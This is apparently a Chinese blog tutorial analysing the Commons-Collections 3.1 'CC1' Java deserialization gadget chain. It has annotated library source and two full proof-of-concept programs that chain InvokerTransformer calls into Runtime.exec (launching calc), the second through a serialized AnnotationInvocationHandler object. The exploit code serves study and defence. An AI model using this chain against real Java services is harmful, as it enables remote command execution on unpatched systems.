条件限制:
JDK版本:jdk1.8以前(8u71之后已修复不可利用)
CC版本:Commons-Collections 3.1-3.2.1
环境搭建:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
首先我们分析一下类函数,也就是cc1链条中所用到的函数
Transformer
源码:
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
可以看到Transformer接口只有一个transform方法,之后所有继承该接口的类都需要实现这个方法。
官方文档的意思:
大致意思就是会将传入的object进行转换,然后返回转换后的object。还是有点抽象,不过没关系,先放着接下来再根据继承该接口的类进行具体分析。
ConstantTransformer
部分源码:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
ConstantTransformer类当中的transform方法就是将初始化时传入的对象返回
InvokerTransformer
部分源码:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
InvokerTransformer类的构造函数传入三个参数——方法名,参数类型数组,参数数组。在transform方法中通过反射机制调用传入某个类的方法,而调用的方法及其所需要的参数都在构造函数中进行了赋值,最终返回该方法的执行结果。
ChainedTransformer
部分源码:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。
那么这样我们可以利用ChainedTransformer将ConstantTransformer和InvokerTransformer的transform方法串起来。通过ConstantTransformer返回某个类,交给InvokerTransformer去调用类中的某个方法。
TrandsformedMap
部分源码:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
TransformedMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象,再看put方法的源码,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,从而启动整个链子。
本地test1
package org.example.cc;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Cc1Demo1 {
public static void main(String[] args) {
//构建一个transformer的数组
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//调用getMethod方法
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//调用invoke方法
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
//调用exec方法
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组传入ChainedTransformer类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
//包装innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发回调
outerMap.put("test1", "xxxx");
}
}
代码分析:
片段1:
Transformer transformerChain = new ChainedTransformer(transformers);
将transformers数组传入ChainedTransformer类,当调用ChainedTransformer的transformer方法时,会对transformers数组进行一系列回调:
将ConstantTransformer返回的Runtime.class传给第一个InvokerTransformer;
将第一个InvokerTransformer返回的(Runtime.class).getMethod("getRuntime",null)传给第二个InvokerTransformer;
将第二个InvokerTransformer返回的((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)传给第三个InvokerTransformer;
(((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")是第三个InvokerTransformer的返回值。
上面对ChainedTransformer类的分析也说了,ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。



片段2:
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test1", "xxxx");
TransformedMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象

触发是在对put的时候的transformValue方法

跟进代码:

这里valueTransformer.transform(object);回去执行重写后的transform方法,这里调用了valueTransformer的transform方法,而valueTransformer就是我们传入的transformerChain,transformerChain又是ChainedTransformer的实例化对象,也就是成功调用了ChainedTransformer的transformer方法,从而实现 ChainedTransformer类 对transformers数组进行回调



链条简析:
Transformer是一个接口,ConstantTransformer和InvokerTransformer都是Transformer接口的实现类;
这里并不是new了一个接口,而是new了一个Transformer类型的数组,里面存储的是 Transformer的实现类对象。
然后使用ChainedTransformer对transformers 数组进行一系列回调;
将创建的innerMap和transformerChain传入TransformedMap.decorate;
最后要向Map中放入一个新元素,从而执行命令。
目前的分析只是一个demo代码,手动添加了put操作,但是在反序列化的操作中我们需要找到一个类,直接或者间接的方式去调用类似于put的操作。
本地test2
上次写到这里就结束了,今天分析完之后,来回补这个坑,反序列化的时候我们需要找到类来利用,达到put的效果,才能进行恶意利用。而sun.reflect.annotation.AnnotationInvocationHandler这个类恰巧能满足我们,下面给处poc,我们一起分析
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1Demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null,}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null,}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "xxxx");
Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
// 'sun.reflect.annotation.AnnotationInvocationHandler' 在 'sun.reflect.annotation' 中不为 public。
// 我们不能直接创建对象,需要利用反射获得对象
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
/**
* Class类的getConstructor()方法,无论是否设置setAccessible(),都不可获取到类的私有构造器.
* Class类的getDeclaredConstructor()方法,可获取到类的私有构造器(包括带有其他修饰符的构造器),但在使用private的构造器时,必须设置setAccessible()为true,才可以获取并操作该Constructor对象。
*/
Object o = declaredConstructor.newInstance(Retention.class, decorate);
// 序列化对象
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("cc1.ser")));
objectOutputStream.writeObject(o);
objectOutputStream.close();
// 反序列化对象
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("cc1.ser")));
objectInputStream.readObject();
objectInputStream.close();
}
}
代码分为两部分,第一部分我们上面已经一起看过函数和重写后的Transformer函数,下面部分代码利用了反射原理,反射获取类库,反射获取私用构造方法,反射实例化,然后去序列化和反序列化。在反序列化的时候,AnnotationInvocationHandler类中重写了readObject函数,在它的readObject方法中调用了setValue方法,也就是说反序列化时会调用setValue方法,进而实现上面几部分代码。
我们debug调试readObject,在361行断点调试

进入setValue方法中,发现是AbstractInputCheckedMapDecorator类的setValue方法,而AbstractInputCheckedMapDecorator类呢,是TransformedMap的父类,跟进setValue方法

到了TransformedMap的checkSetValue方法,传入的对象是刚才的map,而这里的valueTransformer即 chainedTransformer,就达到了第一个案例分析的反射执行的效果。
还有几个小问题,比如反射实例化的时候为什么用Retention这个类,为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime(),文章先写到这,再有时间再回来补坑。
question1
反射实例化的时候为什么用Retention这个类
AnnotationInvocationHandler是 JDK 内部类,不能直接实例化;
AnnotationInvocationHandler的readObject需要使得var7 != null
var7不为null需要满足以下两个条件:
第一个参数必须是Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设方法名为X
被TransformedMap.decorate修饰的Map中必须有⼀个键名为X的元素
question2
为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime()
answer:这是因为在 Java 反序列化中,需要反序列化的对象必须实现java.io.Serializable接口,而Runtime类并没有实现该接口,所以这里得用反射的方式获取Runtime对象,而 POC 当中的 Runtime.class是java.lang.Class对象,该类实现了java.io.Serializable接口
这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本由于sun.reflect.annotation.AnnotationInvocationHandler发⽣了变化导致不再可⽤;
在ysoserial的代码中,没有⽤到上面POC的TransformedMap,而是改用了了LazyMap。
参考:
https://blog.csdn.net/qq_41918771/article/details/115242949?spm=1001.2014.3001.5501
https://xz.aliyun.com/t/10357
浙公网安备 33010602011771号